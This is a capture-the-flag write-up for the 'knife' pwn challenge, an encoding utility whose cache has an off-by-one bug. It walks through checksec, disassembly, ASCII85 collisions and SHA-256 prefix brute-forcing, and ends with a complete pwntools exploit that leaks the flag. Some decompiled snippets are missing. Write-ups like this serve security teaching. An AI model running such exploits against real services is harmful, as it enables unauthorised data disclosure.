Description
We made a utility for converting between various encodings. We’re afraid it might leak other users’ data though… Can you pwn it?
The knife chal is the fourth most difficult task in the pwn category. By the end of the competition, it had 44 solutions. As you can see, the task is simple, however, solving it requires extreme attention.
Solution
Analysis
Run file and checksec:
$ file chal
chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=92298ba249debf99e3d9e7bf9503673c2b346e36, for GNU/Linux 3.2.0, not stripped
$ checksec --file=chal
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 73 Symbols No 0 3 chal
We are dealing with an ordinary unstripped 64-bit ELF. All protections are enabled except the canary. Let’s run the binary:
$ ./chal
Welcome to the Swiss Knife of Encodings!
Available encodings:
- Plaintext (plain)
- Hex encoding (hex)
- Ascii85 variant (a85)
- Base64 (b64)
- Zlib (zlib)
- ROT-13 (rot13)
Example usage:
$ plain a85 test
Success. Result: N2Qab
Another example:
$ plain hex CTF{*censored*}
*censored*
Awaiting command...
hex plain 41414141
Success. Result: AAAA
Awaiting command...
The program interface allows the user to convert text between different encodings. Note that it
gives 2 commands as an example: decoding N2Qab from ASCII 85, and encoding the censored flag!
in HEX
Decompilation
main
| |
The program uses the real value of the flag, but the result is not output (only “censored”)
command
The command function is quite large, so let’s look at it in parts
Choosing decoder/encoder
| |
Despite the large list of encodings offered by the program, only two are implemented – ASCII85 and HEX
encoders[] and decoders[]
.data:0000000000005140 ; __int64 (__fastcall *encoders[6])()
.data:0000000000005140 encoders dq offset no_op ; DATA XREF: command+143↑o
.data:0000000000005140 ; command+409↑o
.data:0000000000005148 dq offset encodehex
.data:0000000000005150 dq offset encode85
.data:0000000000005158 dq 0
.data:0000000000005160 dq 0
.data:0000000000005168 dq 0
.data:0000000000005170 dq 0
.data:0000000000005178 funcs_2211 dq 0 ; DATA XREF: command+186↑r
.data:0000000000005180 public decoders
.data:0000000000005180 ; __int64 (__fastcall *decoders[6])()
.data:0000000000005180 decoders dq offset no_op ; DATA XREF: command+112↑o
.data:0000000000005180 ; command+17F↑o
.data:0000000000005188 dq offset decodehex
.data:0000000000005190 dq offset decode85
.data:0000000000005198 dq 0
.data:00000000000051A0 dq 0
.data:00000000000051A8 dq 0
.data:00000000000051A8 _data ends
Decoding and caching
| |
Here, the text is decoded into plain, and a cache lookup of the cell is performed with sha256 of the decoded string. If no such cell is found, the next cell is used (if the counter reaches the end of the cache, it is reset to zero). Then, possible encoding results are added to the cache: the source encoding and the text passed as the input; plain encoding and the decoded string.
The cache consists of 10 cells. Each cell has a char* on sha256 of the plain string (key) and an
array char *[6] of records previously computed encoding results

Encoding, caching, output
| |
put
| |
Each entry added to the cache is obtained by concatenating the encoding short name (plain/a85/hex) and the result of the decoder/encoder. If such an entry already exists, nothing happens
It’s not difficult to notice that there is an Off-by-one bug in the put, which allows us to
overwrite the first QWORD of the next cache cell (which is also a pointer to the sha256 hash)
Exploitation
Let’s fill the entire cache so that the counter will zero out and return a cell at the beginning of the cache. Having filled the cell completely, we can use the Off-by-one bug to overwrite the hash value of the next cell (containing the flag) with the precomputed hash of a special string. Now it remains to encode this string into plain to get the flag from the cache.
Choosing SHA256 hash
Since the hash is rewritten with a string in the format encoder name + encoding result, each
character of the name and result must be in the HEX alphabet. Only the ASCII85 encoder (abbr.
a85) is suitable for us. It is worth noting that the length of the decoded string must be a
multiple of 5 (group size)
| |
[*] String: b'aabss'
[*] Hash: a85b891727674ac83fa143bf4849b9a8e52550eafef891b3c7b01fd9d22ad5ef
ASCII85 collision
Since we have only 2 decoders available, and we need to fill the cell with 6 unique entries, we need to come up with a collision. ASCII85 allows to encode a variable number of bytes (from 1 to 4) in one group. Thus, splitting one string in different ways, we will get different strings in ASCII85
Awaiting command...
plain a85 A
Success. Result: )R5p|
Awaiting command...
plain a85 AA
Success. Result: ll}o|
Awaiting command...
plain a85 AAA
Success. Result: Q4pU|
Awaiting command...
plain a85 AAAA
Success. Result: 5)w|K
Let’s split the string “AAAAAAAAA” into 3 groups of different sizes:
| |
Putting together
Since hash comparison is performed by the function
memcmp, we can safely add a string with a collision to the end of the hash. In this case, the
cache will look like this:

Exploit
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 127.0.0.1 --port 1234 chal
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'chal')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '127.0.0.1'
port = int(args.PORT or 1234)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.STRACE:
with tempfile.NamedTemporaryFile(prefix='pwnlib-log-', suffix='.strace',
delete=False, mode='w') as tmp:
log.debug('Created strace log file %r\n', tmp.name)
run_in_new_terminal(['tail', '-f', '-n', '+1', tmp.name])
return process(['strace', '-o', tmp.name, '--'] + [exe.path] + argv, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
def num(n):
return str(n).encode()
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled
from hashlib import sha256
from itertools import product
from string import ascii_letters
MENU = b'command...\n'
def gen_collisions(patterns):
_blocks = (')R5p|', 'll}o|', 'Q4pU|', '5)w|K')
res = []
for pattern in patterns:
res.append('')
for block in pattern:
res[-1] += _blocks[block - 1]
return res
for s in product(ascii_letters, repeat=5):
SOURCE_STRING = ''.join(s).encode()
h = sha256(SOURCE_STRING).hexdigest()
if h[:3] == 'a85':
log.info(f'String: {SOURCE_STRING}')
log.info(f'Hash: {h}')
HASH_PART = h[3:]
HASH_PART += 'a' * (-len(HASH_PART) % 5)
break
coll = gen_collisions([
(4, 4, 1), (4, 1, 4), (1, 4, 4),
(4, 3, 2), (2, 4, 3), (3, 2, 4)
])
io = start()
# Fill cache to control first entry
for i in range(8):
io.sendlineafter(MENU, b'plain plain ' + num(i))
# Fill cache entry
for c in coll:
io.sendlineafter(MENU, f'a85 plain {HASH_PART}{c}'.encode())
io.sendlineafter(MENU, b'plain plain ' + SOURCE_STRING)
io.interactive()
